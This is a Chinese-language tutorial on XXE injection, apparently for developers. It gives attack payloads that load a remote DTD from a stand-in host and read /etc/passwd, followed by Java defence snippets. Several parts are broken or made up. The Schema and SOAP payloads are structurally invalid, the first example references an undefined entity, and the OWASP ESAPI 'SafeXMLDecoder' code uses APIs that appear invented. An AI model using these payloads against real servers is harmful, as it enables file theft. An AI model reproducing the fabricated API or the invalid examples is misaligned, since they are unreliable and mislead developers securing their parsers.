全面了解XXE注入

一、XXE注入概述

XML外部实体注入（External Entity Injection，简称XXE）是一种利用XML解析器传递恶意信息的攻击技术。攻击者通过构造恶意的XML文件，将一些外部实体注入到文件中，当服务器解析这个XML文件时，外部实体实际上是在本地进行解析，这样就可能导致敏感数据泄露或者执行恶意代码。

下面是一个简单的XXE注入例子：

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
    <!ENTITY % remote SYSTEM "http://example.com/xxe.dtd">
    %remote;
    ]>
    <root>&exfil;</root>

在上面这段XML代码中，攻击者将远程的实体文件xxe.dtd引入到了XML文件中，同时在XML文件中引用了实体“&exfil;”，这个实体如果被定义，则会读取外部实体文件中的敏感数据。如果攻击者成功构造恶意的外部实体文件，就可以实现XXE注入攻击。

二、XXE注入攻击手段

1、基于DTD的XXE攻击

DTD（Document Type Definition）是一种约束XML文件的语法，可以用来定义合法的元素、属性和实体引用。基于DTD的XXE攻击，就是通过构造恶意的DTD文件，将一些恶意的外部实体引入到XML文件中，从而实现XXE注入。

下面是一个基于DTD的XXE注入攻击的例子：

    <!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
    ]>
    <foo>&xxe;</foo>

在上面这段DTD代码中，定义了一个foo元素，同时定义了一个外部实体“&xxe;”，该实体指向了文件系统中的/etc/passwd文件，如果XML文件中包含该实体，DTD解析器将会读取/etc/passwd文件中的内容，并将其注入到XML文件中。

2、基于Schema的XXE攻击

Schema是一种用于描述XML文档结构的语法规范，可以用来检验XML文档的正确性。基于Schema的XXE攻击，和基于DTD的XXE攻击类似，攻击者同样可以构造恶意的Schema文件，将外部实体引入到XML文件中实现注入攻击。

下面是一个基于Schema的XXE注入攻击的例子：

    <?xml version="1.0" encoding="UTF-8"?>
    <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
    <xs:element name="foo" type="xs:string"/>
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
    </xs:schema>
    <foo>&xxe;</foo>

在上面这段Schema代码中，定义了一个名为“foo”的元素和一个外部实体“&xxe;”，与DTD攻击类似，当XML文档中引入了这个Schema文件和外部实体时，将会读取/etc/passwd文件的内容并注入到XML文档中。

3、基于SOAP协议的XXE攻击

SOAP（Simple Object Access Protocol）是一种基于XML协议的远程调用协议，支持使用XML消息进行远程过程调用（RPC）。基于SOAP协议的XXE攻击，攻击者可以通过构造恶意的SOAP消息，将外部实体注入到请求体中，从而实现XXE注入攻击。

下面是一个基于SOAP协议的XXE注入攻击的例子：

    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header/>
    <soapenv:Body>
    <foo>
    <!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
    ]>
    <bar>&xxe;</bar>
    </foo>
    </soapenv:Body>
    </soapenv:Envelope>

在上面这个SOAP消息的例子中，攻击者通过在请求体中定义DTD，并在DTD中引入了外部实体“&xxe;”，最终实现了XXE注入攻击。

三、XXE注入防御

防止XXE注入攻击的主要手段是限制XML解析器的实体解析能力，以及对输入的XML文档进行过滤和解析检查。

1、禁用实体解析

禁用XML解析器的实体解析功能是一种简单有效的防御手段，通过在解析XML文件前设置禁用实体解析的选项，可以有效避免XXE注入攻击。

以下是Java代码中，禁用实体解析的选项设置示例：

    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
    factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
    DocumentBuilder builder = factory.newDocumentBuilder();
    Document document = builder.parse(inputStream);

2、检查输入的XML文档

对输入的XML文档进行过滤和解析检查，可以防止一些已知的XXE注入攻击。开发者可以使用现有的XML解析库，比如JDOM、DOM4J、SAX等，进行XML文档的解析和检查。

以下是Java代码中，使用JDOM进行XML文档的解析和检查示例：

    SAXBuilder builder = new SAXBuilder();
    builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // 禁用DTD解析
    builder.setFeature("http://xml.org/sax/features/external-general-entities", false); // 禁用外部实体
    builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    builder.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
    Document document = builder.build(inputStream);
    Element root = document.getRootElement();
    List elements = root.getChildren();
    for(Element element : elements){
        // 手动检查每个元素
        if(element.getName().equals("foo")){
            String data = element.getText();
            // 检查数据是否符合要求，避免注入攻击
        }
    }

3、使用安全的XML解析库

使用安全的XML解析库，可以避免一些已知的XXE注入攻击，比如XXE-injection漏洞实验室推荐的安全XML库OWASP ESAPI，该库提供了一些安全的XML解析API，可以有效增强应用程序的安全性。

以下是使用OWASP ESAPI进行XML文件解析的Java代码示例：

    // 初始化ESAPI
    ESAPI.initialize();
    // 获取安全的XML解析器
    SafeXMLDecoder decoder = ESAPI.validator().getSafeXMLDecoder();
    // 解析XML文件
    String xml = ...; // 需要解析的XML文件
    Document document = decoder.parse(xml);

四、总结

XXE注入攻击是一种利用XML解析器传递恶意信息的攻击技术，攻击者可以通过构造恶意的XML文件，将一些外部实体注入到文件中，从而导致敏感数据泄露或者执行恶意代码。开发者可以通过禁用实体解析、检查输入的XML文档、使用安全的XML解析库等手段，提高应用程序的安全性。